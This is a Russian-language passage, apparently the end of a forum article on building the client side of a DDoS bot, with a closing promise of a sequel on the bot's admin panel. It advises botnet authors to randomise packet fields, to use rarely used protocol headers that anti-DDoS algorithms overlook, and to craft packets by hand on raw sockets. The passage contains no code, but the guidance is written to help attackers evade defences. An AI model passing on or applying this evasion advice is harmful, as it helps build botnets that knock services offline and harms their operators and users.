Если необходимо ввести поддержку как-то особого протокола, все сказаное ранее справедливо и в этом случае. В основном, все зависит от генератора псевдослучайных чисел и вашей фантазии. Также, не забывайте читать документацию к протоколу (RFC, например), чтобы задействовать те заголовки, которые редко применяются (или не применяются вообще) ddos-алгоритмами. Настоятельно рекомендуется описывать генерацию пакетов только на сокетах (т.е. без сторонних модулей, компонентов и всего остального), т.к. только на сокетах можно полностью вручную описать алгоритм генерации пакета прикладного уровня .

Заключение

Подводя итоги, хочется сказать, что выполнение всех этих рекомендаций не является обязанностью разработчика. Все таки пишет софт он, а не автор статьи. И ему виднее как лучше. Целью статьи было рассказать о возможных вариантах реализации клиентской части бота. Думаю, цель достигнута. Если вам понравилась статья, то будет продолжение про реализацию серверной части (админ-панели). Всего наилучшего.

Оригинал:
 
Последнее редактирование:
Верх Низ